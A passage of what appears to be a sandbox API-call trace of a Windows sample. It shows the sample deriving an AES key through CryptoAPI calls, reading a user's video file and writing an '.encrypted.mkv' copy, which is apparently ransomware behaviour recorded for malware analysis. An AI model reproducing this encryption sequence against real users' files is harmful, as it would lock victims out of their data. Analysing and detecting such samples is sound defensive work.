wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.088] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.089] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.089] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.089] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.089] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.089] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.089] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.089] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.089] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.089] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.089] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.090] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.090] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b4b0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.090] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.090] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.090] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.090] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.090] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.090] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0029.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.090] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.090] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.090] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.090] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.091] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.092] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\jVh1kA9-oJEcvL8zuFH.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\jvh1ka9-ojecvl8zufh.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.092] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.092] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.093] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl")) returned 0x10 [0029.093] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\jVh1kA9-oJEcvL8zuFH.encrypted.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\jvh1ka9-ojecvl8zufh.encrypted.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.093] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.093] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.093] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.093] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.094] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.095] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xb436, lpOverlapped=0x0) returned 1 [0029.095] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.098] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.098] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.098] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.099] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.099] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.099] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.099] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.099] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.099] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.099] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.100] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.100] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064d40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.100] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.100] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.100] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.100] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.101] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.101] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.101] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.101] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.101] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb436, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb440) returned 1 [0029.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.101] CharLowerBuffW (in: lpsz="byte[46145]", cchLength=0xb | out: lpsz="byte[46145]") returned 0xb [0029.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.102] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.102] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.102] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.102] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f439bcf0*, pdwDataLen=0xe8f3dfdf68*=0xb436, dwBufLen=0xb440 | out: pbData=0xe8f439bcf0*, pdwDataLen=0xe8f3dfdf68*=0xb440) returned 1 [0029.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.102] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.102] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.103] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.103] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.103] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.103] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.103] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.103] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.103] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.103] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.103] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 